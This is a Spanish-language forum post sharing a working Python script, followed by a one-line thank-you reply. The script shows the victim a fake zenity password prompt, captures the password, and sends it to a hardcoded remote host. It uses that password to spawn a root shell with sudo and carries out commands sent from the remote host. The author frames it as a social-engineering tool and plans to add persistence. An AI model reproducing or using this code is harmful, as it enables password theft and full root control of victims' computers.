Hola Gente! Cómo les va?
Esta vez vengo con un pequeño programita que escribí cuya función es conseguir una reverse shell con privilegios de root.
Para ello utilicé 2 herramientas: zenity y pexpect.
Con zenity creo un form que solicita la password al usuario remoto (una especie de ingeniería social) y con pexpect ejecuto una shell con privilegios de root ('sudo /bin/bash') e ingreso la contraseña introducida anteriormente por la víctima.
Bueno, por supuesto que uso sockets para establecer la conexión entre las 2 PCs.
Aquí el código:
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Autor: WhiZ
from pexpect import spawn, run
import socket
class ReverseRootShell(object):
def __init__(self):
# Obtenemos la contraseña del root
self.passwd = self.obtienePasswd()
# Nos conectamos al cliente
self.servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.servidor.connect(('192.168.0.131', 2236))
# Obtenemos la shell como root
self.obtieneRootShell()
# Escuchamos al cliente
self.escuchaCliente()
self.servidor.close()
def obtienePasswd(self):
zenity = '''zenity --password --title="Autenticación"'''
passwd = run(zenity).replace('\n', '')
return passwd
def obtieneRootShell(self):
# Ejecutamos la shell como root
self.child = spawn('sudo /bin/bash')
# Enviamos la contraseña ingresada anteriormente
# por el usuario
self.child.sendline(self.passwd)
# Enviamos el output al host remoto
salida = self.child.next() + self.passwd + '\n'
self.servidor.send(salida)
def escuchaCliente(self):
while True:
recibido = self.servidor.recv(1024)
if recibido == 'Desconectar':
break
else:
self.ejecutaComando(recibido)
def ejecutaComando(self, comando):
# Ejecutamos el comando (siempre como root)
self.child.sendline(comando)
# Enviamos el output al host remoto
while True:
try:
salida = self.child.read_nonblocking(timeout=5)
self.servidor.send(salida)
# NOTA: Como es un poco complicado manejar el output
# con pexpect, lo que hice fue frenar el bucle tras
# 5 segundos de inactividad.
# Esto significa que si utilizamos comandos 'lentos'
# por ej., escaneamos la red con nmap, deberemos
# presionar la tecla 'enter' cada tanto para ir
# cargando los datos que vayan apareciendo
except:
break
rrs = ReverseRootShell()
De más está decir que hay mucho que mejorar, pero no me aguantaba asiq lo compartí jeje.
De todas maneras, mi idea es crear una herramienta de ingeniería social para linux, por lo que hay muchas alternativas a la hora de mejorar el código (depende del tipo de engaño que se nos ocurra). Por otro lado, quedan muchas cosas para agregar que son independientes del engaño que implementemos (por ejemplo, la persistencia).
A medida que lo vaya mejorando voy a ir actualizando el post.
Eso es todo.
Saludos!
WhiZ
muy bueno, gracias por el aporte!